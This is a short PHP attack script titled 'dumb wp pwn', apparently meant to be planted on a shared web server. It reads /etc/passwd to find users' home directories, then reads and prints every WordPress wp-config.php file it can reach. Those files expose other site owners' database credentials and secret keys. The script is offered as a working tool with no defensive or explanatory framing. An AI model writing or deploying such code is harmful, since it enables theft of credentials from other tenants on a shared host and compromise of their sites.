dumb wp pwn

<html>
<title>pwn</title>
<body>
<?php

set_time_limit(0);
@$passwd=fopen('/etc/passwd','r');
if (!$passwd) { die("/etc/passwd unreadable"); }
$paths=array();
$i=0;
while(!feof($passwd)) {
    $r=explode(":",$l=fgets($passwd));
    if (count($r)<6 || ! strpos($r[5],"home/")) { continue; }
    $f=@file_get_contents($r[5]."/public_html/wp-config.php");
    if ($f) {
        echo "<pre>$l</pre><ul>".htmlentities($f)."</ul>";
    }
}
?>
</body></html>